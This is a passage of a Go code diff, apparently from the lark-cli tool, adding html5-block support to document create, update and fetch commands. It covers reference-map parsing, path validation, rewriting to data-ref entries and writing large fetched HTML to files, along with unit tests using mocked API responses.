+		return docsV2WriteInput{}, err
+	}
+	refMap = mergeHTML5ReferenceMap(refMap, html5RefMap)
+	return docsV2WriteInput{
+		Content:      content,
+		ReferenceMap: refMap,
+	}, nil
+}
+
+func parseReferenceMapObject(raw string, label string) (map[string]interface{}, error) {
+	if len(bytes.TrimSpace([]byte(raw))) == 0 || string(bytes.TrimSpace([]byte(raw))) == "null" {
+		return nil, nil
+	}
+	var refMap map[string]interface{}
+	if err := json.Unmarshal([]byte(raw), &refMap); err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam(label).WithCause(err)
+	}
+	return refMap, nil
+}
+
+func parseHTML5BlockReferenceMapBytes(raw []byte, label string) (html5BlockReferenceMap, error) {
+	if len(bytes.TrimSpace(raw)) == 0 || string(bytes.TrimSpace(raw)) == "null" {
+		return nil, nil
+	}
+	var refMap html5BlockReferenceMap
+	if err := json.Unmarshal(raw, &refMap); err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam(label).WithCause(err)
+	}
+	return compactReferenceMap(refMap), nil
+}
+
+func prepareHTML5BlockWriteContent(runtime *common.RuntimeContext, format string, content string, refMap html5BlockReferenceMap) (string, html5BlockReferenceMap, error) {
+	if !strings.Contains(content, "<html5-block") {
+		return content, compactReferenceMap(refMap), nil
+	}
+	if err := validateHTML5BlockWriteElementBodies(format, content); err != nil {
+		return "", nil, err
+	}
+
+	refMap = cloneReferenceMap(refMap)
+	if refMap == nil {
+		refMap = html5BlockReferenceMap{}
+	}
+	ensureReferenceGroup(refMap, html5BlockTag)
+	nextRef := nextHTML5BlockRef(refMap)
+
+	rewrite := func(segment string) (string, error) {
+		return rewriteHTML5BlockStartTags(segment, func(raw string) (string, error) {
+			tag, err := parseHTML5BlockStartTag(raw)
+			if err != nil {
+				return "", common.ValidationErrorf("invalid html5-block tag: %v", err).WithParam("html5-block")
+			}
+			if tag.hasAttr(html5BlockDataAttr) {
+				return "", common.ValidationErrorf("html5-block data is reserved for SDK internals; use data-ref with reference_map or path=\"@relative.html\"").WithParam("html5-block")
+			}
+
+			pathValue, hasPath := tag.attr(html5BlockPathAttr)
+			dataRef, hasDataRef := tag.attr(html5BlockDataRefAttr)
+			if hasPath && hasDataRef {
+				return "", common.ValidationErrorf("html5-block cannot contain both path and data-ref").WithParam("html5-block")
+			}
+			if hasDataRef {
+				ref := strings.TrimSpace(dataRef)
+				if ref == "" {
+					return "", common.ValidationErrorf("html5-block data-ref cannot be empty").WithParam("data-ref")
+				}
+				if _, ok := refMap[html5BlockTag][ref]; !ok {
+					return "", common.ValidationErrorf("reference_map.%s.%s is required for html5-block data-ref", html5BlockTag, ref).WithParam("reference_map")
+				}
+				return tag.render(false), nil
+			}
+			if !hasPath {
+				return "", common.ValidationErrorf("html5-block requires path=\"@relative.html\" or data-ref with reference_map").WithParam("html5-block")
+			}
+
+			data, err := readHTML5BlockPath(runtime, pathValue, "html5-block path")
+			if err != nil {
+				return "", err
+			}
+			ref := nextRef()
+			refMap[html5BlockTag][ref] = html5BlockReferenceEntry{Data: data}
+			tag.removeAttrs(html5BlockPathAttr, html5BlockDataRefAttr, html5BlockDataAttr)
+			tag.Attrs = append(tag.Attrs, html5BlockAttr{Name: html5BlockDataRefAttr, Value: ref})
+			return tag.render(false), nil
+		})
+	}
+
+	var (
+		out string
+		err error
+	)
+	if strings.TrimSpace(format) == "markdown" {
+		out = applyOutsideCodeFences(content, func(segment string) string {
+			if err != nil {
+				return segment
+			}
+			outSegment, rewriteErr := rewrite(segment)
+			if rewriteErr != nil {
+				err = rewriteErr
+				return segment
+			}
+			return outSegment
+		})
+	} else {
+		out, err = rewrite(content)
+	}
+	if err != nil {
+		return "", nil, err
+	}
+	return out, compactReferenceMap(refMap), nil
+}
+
+func validateHTML5BlockWriteElementBodies(format string, content string) error {
+	validateSegment := func(segment string) error {
+		matches := html5BlockElementPattern.FindAllStringSubmatchIndex(segment, -1)
+		for _, match := range matches {
+			if len(match) < 4 || match[2] < 0 || match[3] < 0 {
+				continue
+			}
+			if strings.TrimSpace(segment[match[2]:match[3]]) != "" {
+				return common.ValidationErrorf("html5-block content must be loaded from path=\"@relative.html\" or reference_map; remove content between <html5-block> and </html5-block>").WithParam("html5-block")
+			}
+		}
+		return nil
+	}
+
+	if strings.TrimSpace(format) != "markdown" {
+		return validateSegment(content)
+	}
+
+	var validateErr error
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if validateErr != nil {
+			return segment
+		}
+		validateErr = validateSegment(segment)
+		return segment
+	})
+	return validateErr
+}
+
+func processHTML5BlockReferenceMapForFetch(runtime *common.RuntimeContext, format string, docToken string, data map[string]interface{}) error {
+	doc, _ := data["document"].(map[string]interface{})
+	if doc == nil {
+		return nil
+	}
+	content, _ := doc["content"].(string)
+	if !hasProcessableHTML5Block(format, content) {
+		return nil
+	}
+
+	refMap, err := referenceMapFromDocument(doc)
+	if err != nil {
+		return err
+	}
+	group := refMap[html5BlockTag]
+	if group == nil {
+		return common.ValidationErrorf("document.reference_map.%s is required for fetched html5-block content", html5BlockTag).WithParam("reference_map")
+	}
+
+	if err := validateFetchedHTML5BlockRefs(format, content, refMap); err != nil {
+		return err
+	}
+
+	changed := false
+	for ref, entry := range group {
+		if entry.Data == "" || len([]byte(entry.Data)) <= html5BlockReferenceMaxRaw {
+			continue
+		}
+		relPath, err := writeHTML5BlockReferenceFile(runtime, docToken, ref, entry.Data)
+		if err != nil {
+			return err
+		}
+		entry.Data = ""
+		entry.Path = "@" + filepath.ToSlash(relPath)
+		group[ref] = entry
+		changed = true
+	}
+	if changed {
+		doc["reference_map"] = refMap
+	}
+	return nil
+}
+
+func referenceMapFromDocument(doc map[string]interface{}) (html5BlockReferenceMap, error) {
+	raw, ok := doc["reference_map"]
+	if !ok || raw == nil {
+		return nil, common.ValidationErrorf("document.reference_map is required for fetched html5-block content").WithParam("reference_map")
+	}
+	refMap, err := referenceMapFromValue(raw, "document.reference_map")
+	if err != nil {
+		return nil, err
+	}
+	if len(refMap) == 0 {
+		return nil, common.ValidationErrorf("document.reference_map is required for fetched html5-block content").WithParam("reference_map")
+	}
+	return refMap, nil
+}
+
+func referenceMapFromValue(value interface{}, label string) (html5BlockReferenceMap, error) {
+	if typed, ok := value.(html5BlockReferenceMap); ok {
+		return compactReferenceMap(typed), nil
+	}
+	raw, err := json.Marshal(value)
+	if err != nil {
+		return nil, common.ValidationErrorf("%s is not valid reference_map JSON: %v", label, err).WithParam("reference_map").WithCause(err)
+	}
+	return parseHTML5BlockReferenceMapBytes(raw, label)
+}
+
+func validateFetchedHTML5BlockRefs(format string, content string, refMap html5BlockReferenceMap) error {
+	validateSegment := func(segment string) error {
+		_, err := rewriteHTML5BlockStartTags(segment, func(raw string) (string, error) {
+			tag, parseErr := parseHTML5BlockStartTag(raw)
+			if parseErr != nil {
+				return raw, common.ValidationErrorf("invalid html5-block tag in fetched content: %v", parseErr).WithParam("html5-block")
+			}
+			ref, ok := tag.attr(html5BlockDataRefAttr)
+			if !ok || strings.TrimSpace(ref) == "" {
+				return raw, common.ValidationErrorf("fetched html5-block is missing data-ref; cannot resolve HTML reference").WithParam("html5-block")
+			}
+			ref = strings.TrimSpace(ref)
+			if _, ok := refMap[html5BlockTag][ref]; !ok {
+				return raw, common.ValidationErrorf("document.reference_map.%s.%s is missing; cannot resolve html5-block. Re-run fetch or check that the upstream document.reference_map field includes this ref.", html5BlockTag, ref).WithParam("reference_map")
+			}
+			return raw, nil
+		})
+		return err
+	}
+
+	if strings.TrimSpace(format) != "markdown" {
+		return validateSegment(content)
+	}
+	var validateErr error
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if validateErr != nil {
+			return segment
+		}
+		validateErr = validateSegment(segment)
+		return segment
+	})
+	return validateErr
+}
+
+func resolveReferenceMapPaths(runtime *common.RuntimeContext, refMap html5BlockReferenceMap) error {
+	for typ, group := range refMap {
+		for ref, entry := range group {
+			if strings.TrimSpace(entry.Path) == "" {
+				continue
+			}
+			if entry.Data != "" {
+				return common.ValidationErrorf("reference_map.%s.%s must use either data or path, not both", typ, ref).WithParam("reference_map")
+			}
+			data, err := readHTML5BlockPath(runtime, entry.Path, fmt.Sprintf("reference_map.%s.%s.path", typ, ref))
+			if err != nil {
+				return err
+			}
+			entry.Data = data
+			entry.Path = ""
+			group[ref] = entry
+		}
+	}
+	return nil
+}
+
+func readHTML5BlockPath(runtime *common.RuntimeContext, pathValue string, label string) (string, error) {
+	pathRaw := strings.TrimSpace(pathValue)
+	if !strings.HasPrefix(pathRaw, "@") {
+		return "", common.ValidationErrorf("%s %q must start with @, for example @widget.html", label, pathValue).WithParam("path")
+	}
+	relPath := strings.TrimSpace(strings.TrimPrefix(pathRaw, "@"))
+	if relPath == "" {
+		return "", common.ValidationErrorf("%s cannot be empty after @", label).WithParam("path")
+	}
+	clean := filepath.Clean(relPath)
+	if filepath.IsAbs(clean) || clean == "." || clean == ".." || strings.HasPrefix(clean, ".."+string(filepath.Separator)) {
+		return "", common.ValidationErrorf("%s %q must be a relative path within the current working directory", label, pathValue).WithParam("path")
+	}
+	if strings.ToLower(filepath.Ext(clean)) != ".html" {
+		return "", common.ValidationErrorf("%s %q must point to a .html file", label, pathValue).WithParam("path")
+	}
+	data, err := cmdutil.ReadInputFile(runtime.FileIO(), clean)
+	if err != nil {
+		return "", common.ValidationErrorf("%s %q cannot be read from the current working directory; check that the file exists relative to where lark-cli is running: %v", label, clean, err).WithParam("path").WithCause(err)
+	}
+	return string(data), nil
+}
+
+func hasProcessableHTML5Block(format string, content string) bool {
+	if !strings.Contains(content, "<html5-block") {
+		return false
+	}
+	if strings.TrimSpace(format) != "markdown" {
+		return true
+	}
+	found := false
+	_ = applyOutsideCodeFences(content, func(segment string) string {
+		if strings.Contains(segment, "<html5-block") {
+			found = true
+		}
+		return segment
+	})
+	return found
+}
+
+func applyOutsideCodeFences(content string, fn func(segment string) string) string {
+	var out strings.Builder
+	var segment strings.Builder
+	inFence := false
+
+	flush := func() {
+		if segment.Len() == 0 {
+			return
+		}
+		out.WriteString(fn(segment.String()))
+		segment.Reset()
+	}
+
+	for _, line := range strings.SplitAfter(content, "\n") {
+		trimmed := strings.TrimSpace(line)
+		if strings.HasPrefix(trimmed, "```") || strings.HasPrefix(trimmed, "~~~") {
+			if !inFence {
+				flush()
+				inFence = true
+			} else {
+				inFence = false
+			}
+			out.WriteString(line)
+			continue
+		}
+		if inFence {
+			out.WriteString(line)
+		} else {
+			segment.WriteString(line)
+		}
+	}
+	flush()
+	return out.String()
+}
+
+func cloneReferenceMap(refMap html5BlockReferenceMap) html5BlockReferenceMap {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(html5BlockReferenceMap, len(refMap))
+	for typ, group := range refMap {
+		if len(group) == 0 {
+			continue
+		}
+		outGroup := make(map[string]html5BlockReferenceEntry, len(group))
+		for ref, entry := range group {
+			outGroup[ref] = entry
+		}
+		out[typ] = outGroup
+	}
+	return out
+}
+
+func cloneReferenceMapObject(refMap map[string]interface{}) map[string]interface{} {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(map[string]interface{}, len(refMap))
+	for key, value := range refMap {
+		out[key] = value
+	}
+	return out
+}
+
+func html5ReferenceMapFromObject(refMap map[string]interface{}) (html5BlockReferenceMap, error) {
+	if len(refMap) == 0 {
+		return nil, nil
+	}
+	group, ok := refMap[html5BlockTag]
+	if !ok || group == nil {
+		return nil, nil
+	}
+	return referenceMapFromValue(map[string]interface{}{html5BlockTag: group}, "reference_map."+html5BlockTag)
+}
+
+func mergeHTML5ReferenceMap(refMap map[string]interface{}, html5RefMap html5BlockReferenceMap) map[string]interface{} {
+	group := html5RefMap[html5BlockTag]
+	if len(group) == 0 {
+		return refMap
+	}
+	if refMap == nil {
+		refMap = map[string]interface{}{}
+	}
+	refMap[html5BlockTag] = group
+	return refMap
+}
+
+func compactReferenceMap(refMap html5BlockReferenceMap) html5BlockReferenceMap {
+	if len(refMap) == 0 {
+		return nil
+	}
+	out := make(html5BlockReferenceMap, len(refMap))
+	for typ, group := range refMap {
+		if len(group) == 0 {
+			continue
+		}
+		out[typ] = group
+	}
+	if len(out) == 0 {
+		return nil
+	}
+	return out
+}
+
+func ensureReferenceGroup(refMap html5BlockReferenceMap, typ string) {
+	if refMap[typ] == nil {
+		refMap[typ] = map[string]html5BlockReferenceEntry{}
+	}
+}
+
+func nextHTML5BlockRef(refMap html5BlockReferenceMap) func() string {
+	next := 1
+	return func() string {
+		for {
+			ref := fmt.Sprintf("html5_%d", next)
+			next++
+			if _, exists := refMap[html5BlockTag][ref]; !exists {
+				return ref
+			}
+		}
+	}
+}
+
+func writeHTML5BlockReferenceFile(runtime *common.RuntimeContext, docToken string, ref string, html string) (string, error) {
+	if !isSafeHTML5BlockResourceName(docToken) {
+		return "", common.ValidationErrorf("document_id %q cannot be used as a resource directory name", docToken).WithParam("document_id")
+	}
+	if !isSafeHTML5BlockResourceName(ref) {
+		return "", common.ValidationErrorf("html5-block data-ref %q cannot be used as a file name", ref).WithParam("data-ref")
+	}
+	relPath := filepath.Join(html5BlockReferenceRoot, docToken, ref+".html")
+	data := []byte(html)
+	_, err := runtime.FileIO().Save(relPath, fileio.SaveOptions{
+		ContentType:   "text/html; charset=utf-8",
+		ContentLength: int64(len(data)),
+	}, bytes.NewReader(data))
+	if err != nil {
+		if errors.Is(err, fileio.ErrPathValidation) {
+			return "", common.ValidationErrorf("cannot write html5-block reference file %q: %v", relPath, err).WithParam("reference_map").WithCause(err)
+		}
+		return "", errs.NewInternalError(errs.SubtypeFileIO, "cannot write html5-block reference file %q: %v", relPath, err).WithCause(err)
+	}
+	return relPath, nil
+}
+
+func isSafeHTML5BlockResourceName(name string) bool {
+	return name != "." && name != ".." && html5BlockSafeNamePattern.MatchString(name)
+}
+
+func rewriteHTML5BlockStartTags(content string, fn func(raw string) (string, error)) (string, error) {
+	var rewriteErr error
+	out := html5BlockStartTagPattern.ReplaceAllStringFunc(content, func(raw string) string {
+		if rewriteErr != nil {
+			return raw
+		}
+		rewritten, err := fn(raw)
+		if err != nil {
+			rewriteErr = err
+			return raw
+		}
+		return rewritten
+	})
+	if rewriteErr != nil {
+		return "", rewriteErr
+	}
+	return out, nil
+}
+
+func parseHTML5BlockStartTag(raw string) (html5BlockStartTag, error) {
+	trimmed := strings.TrimSpace(raw)
+	selfClosing := strings.HasSuffix(trimmed, "/>")
+	decoder := xml.NewDecoder(strings.NewReader(raw))
+	for {
+		tok, err := decoder.Token()
+		if err != nil {
+			if errors.Is(err, io.EOF) {
+				break
+			}
+			return html5BlockStartTag{}, err
+		}
+		start, ok := tok.(xml.StartElement)
+		if !ok {
+			continue
+		}
+		if start.Name.Local != html5BlockTag {
+			return html5BlockStartTag{}, fmt.Errorf("expected <%s>, got <%s>", html5BlockTag, start.Name.Local) //nolint:forbidigo // intermediate parse helper; callers wrap with typed validation errors.
+		}
+		attrs := make([]html5BlockAttr, 0, len(start.Attr))
+		for _, attr := range start.Attr {
+			attrs = append(attrs, html5BlockAttr{Name: attr.Name.Local, Value: attr.Value})
+		}
+		return html5BlockStartTag{Attrs: attrs, SelfClosing: selfClosing}, nil
+	}
+	return html5BlockStartTag{}, fmt.Errorf("missing start element") //nolint:forbidigo // intermediate parse helper; callers wrap with typed validation errors.
+}
+
+func (t html5BlockStartTag) attr(name string) (string, bool) {
+	for _, attr := range t.Attrs {
+		if attr.Name == name {
+			return attr.Value, true
+		}
+	}
+	return "", false
+}
+
+func (t html5BlockStartTag) hasAttr(name string) bool {
+	_, ok := t.attr(name)
+	return ok
+}
+
+func (t *html5BlockStartTag) removeAttrs(names ...string) {
+	remove := make(map[string]struct{}, len(names))
+	for _, name := range names {
+		remove[name] = struct{}{}
+	}
+	attrs := t.Attrs[:0]
+	for _, attr := range t.Attrs {
+		if _, ok := remove[attr.Name]; ok {
+			continue
+		}
+		attrs = append(attrs, attr)
+	}
+	t.Attrs = attrs
+}
+
+func (t html5BlockStartTag) render(selfClosing bool) string {
+	var b strings.Builder
+	b.WriteByte('<')
+	b.WriteString(html5BlockTag)
+	for _, attr := range t.Attrs {
+		b.WriteByte(' ')
+		b.WriteString(attr.Name)
+		b.WriteString(`="`)
+		b.WriteString(escapeXMLAttr(attr.Value))
+		b.WriteByte('"')
+	}
+	if selfClosing {
+		b.WriteString("/>")
+	} else {
+		b.WriteByte('>')
+	}
+	if t.SelfClosing && !selfClosing {
+		b.WriteString("</")
+		b.WriteString(html5BlockTag)
+		b.WriteByte('>')
+	}
+	return b.String()
+}
+
+func escapeXMLAttr(value string) string {
+	var b strings.Builder
+	for _, r := range value {
+		switch r {
+		case '&':
+			b.WriteString("&amp;")
+		case '<':
+			b.WriteString("&lt;")
+		case '>':
+			b.WriteString("&gt;")
+		case '"':
+			b.WriteString("&quot;")
+		case '\'':
+			b.WriteString("&apos;")
+		default:
+			b.WriteRune(r)
+		}
+	}
+	return b.String()
+}

shortcuts/doc/html5_block_resources_test.go

@@ -0,0 +1,563 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+func TestDocsV2ReferenceMapFlagIsPublicFileInput(t *testing.T) {
+	for name, flags := range map[string][]common.Flag{
+		"create": v2CreateFlags(),
+		"update": v2UpdateFlags(),
+	} {
+		t.Run(name, func(t *testing.T) {
+			flag := findDocsTestFlag(flags, "reference-map")
+			if flag.Name == "" {
+				t.Fatal("reference-map flag not found")
+			}
+			if flag.Hidden {
+				t.Fatal("reference-map flag should be public")
+			}
+			if !hasDocsTestInput(flag, common.File) || !hasDocsTestInput(flag, common.Stdin) {
+				t.Fatalf("reference-map Input = %#v, want file and stdin", flag.Input)
+			}
+			if !strings.Contains(flag.Desc, "@reference-map.json") {
+				t.Fatalf("reference-map help should mention @file support, got %q", flag.Desc)
+			}
+		})
+	}
+}
+
+func TestDocsV2InputFlagIsNotAvailable(t *testing.T) {
+	for name, flags := range map[string][]common.Flag{
+		"create": v2CreateFlags(),
+		"update": v2UpdateFlags(),
+	} {
+		t.Run(name, func(t *testing.T) {
+			for _, flag := range flags {
+				if flag.Name == "input" {
+					t.Fatalf("%s should not expose input flag", name)
+				}
+			}
+		})
+	}
+}
+
+func TestDocsUpdateV2ReferenceMapPreservesGenericGroups(t *testing.T) {
+	t.Parallel()
+
+	runtime := newUpdateShortcutTestRuntime(t, "", map[string]string{
+		"command":       "append",
+		"content":       `<p><widget data-ref="r1"></widget></p>`,
+		"reference-map": `{"widget":{"r1":{"label":"widget-ref-value"}}}`,
+	})
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		t.Fatalf("buildUpdateBodyWithHTML5ReferenceMap: %v", err)
+	}
+
+	refMap, ok := body["reference_map"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("reference_map = %#v, want object", body["reference_map"])
+	}
+	widget, _ := refMap["widget"].(map[string]interface{})
+	r1, _ := widget["r1"].(map[string]interface{})
+	if got := r1["label"]; got != "widget-ref-value" {
+		t.Fatalf("reference_map.widget.r1.label = %#v, want widget-ref-value; body=%#v", got, body)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapFromPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<html><body>hello</body></html>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<title>demo</title><html5-block path="@widget.html"></html5-block>`,
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content was not rewritten with data-ref: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><body>hello</body></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+	if _, ok := body["resources"]; ok {
+		t.Fatalf("request body must not use resources: %#v", body)
+	}
+}
+
+func findDocsTestFlag(flags []common.Flag, name string) common.Flag {
+	for _, flag := range flags {
+		if flag.Name == name {
+			return flag
+		}
+	}
+	return common.Flag{}
+}
+
+func hasDocsTestInput(flag common.Flag, input string) bool {
+	for _, item := range flag.Input {
+		if item == input {
+			return true
+		}
+	}
+	return false
+}
+
+func TestDocsUpdateV2HTML5BlockReferenceMapFromPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<section>updated</section>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-update"))
+	stub := registerDocsAIStub(reg, "PUT", "/open-apis/docs_ai/v1/documents/doxcn_doc", map[string]interface{}{
+		"document": map[string]interface{}{
+			"revision_id": float64(2),
+			"new_blocks": []interface{}{
+				map[string]interface{}{
+					"block_type":  "html5-block",
+					"block_id":    "blk_html5",
+					"block_token": "boardXXXX",
+				},
+			},
+		},
+		"result": "success",
+	})
+
+	err := mountAndRunDocs(t, DocsUpdate, []string{
+		"+update",
+		"--api-version", "v2",
+		"--doc", "doxcn_doc",
+		"--command", "append",
+		"--content", `<html5-block path="@widget.html"></html5-block>`,
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); got != `<html5-block data-ref="html5_1"></html5-block>` {
+		t.Fatalf("content = %q", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<section>updated</section>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if blocks, _ := doc["new_blocks"].([]interface{}); len(blocks) != 1 {
+		t.Fatalf("new_blocks not preserved in stdout: %#v", doc)
+	}
+}
+
+func TestDocsFetchV2HTML5BlockKeepsSmallReferenceMapInline(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_1"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": "<html><main>fetched</main></html>"},
+				},
+			},
+		},
+		"tips": "must_read_html_code",
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	written := filepath.Join(dir, html5BlockReferenceRoot, "doxcn_fetch", "html5_1.html")
+	if _, err := os.Stat(written); err == nil {
+		t.Fatalf("small html should stay inline, got file %s", written)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if got := doc["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content should keep data-ref: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, doc["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><main>fetched</main></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+	if _, ok := doc["resources"]; ok {
+		t.Fatalf("fetch output must not use resources: %#v", doc)
+	}
+	if _, ok := data["suggestions"]; ok {
+		t.Fatalf("CLI must not add suggestions; service tips is enough: %#v", data["suggestions"])
+	}
+	if got := data["tips"]; got != "must_read_html_code" {
+		t.Fatalf("tips should be preserved from service response, got %#v", got)
+	}
+}
+
+func TestDocsFetchV2HTML5BlockLargeReferenceMapUsesPath(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	largeHTML := "<html><main>" + strings.Repeat("x", html5BlockReferenceMaxRaw+1) + "</main></html>"
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch-large"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_1"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": largeHTML},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	written := filepath.Join(dir, html5BlockReferenceRoot, "doxcn_fetch", "html5_1.html")
+	raw, err := os.ReadFile(written)
+	if err != nil {
+		t.Fatalf("ReadFile(%s) error: %v", written, err)
+	}
+	if string(raw) != largeHTML {
+		t.Fatalf("materialized html = %q", raw)
+	}
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode stdout: %v\n%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	if got := doc["content"].(string); strings.Contains(got, `path="@`) || !strings.Contains(got, `data-ref="html5_1"`) {
+		t.Fatalf("content should keep data-ref and not path: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, doc["reference_map"])
+	entry := refMap[html5BlockTag]["html5_1"]
+	if entry.Data != "" || entry.Path != "@doc-fetch-resources/doxcn_fetch/html5_1.html" {
+		t.Fatalf("large html should be represented as path, got %#v", entry)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapAdvancedInput(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--reference-map", `{"html5-block":{"html5_1":{"data":"<html></html>"}}}`,
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); got != `<html5-block data-ref="html5_1"></html5-block>` {
+		t.Fatalf("content = %q", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockReferenceMapFromFile(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("reference-map.json", []byte(`{"html5-block":{"html5_1":{"data":"<html>from file</html>"}}}`), 0o600); err != nil {
+		t.Fatalf("WriteFile(reference-map.json) error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--reference-map", "@reference-map.json",
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	body := decodeRequestBody(t, stub.CapturedBody)
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html>from file</html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
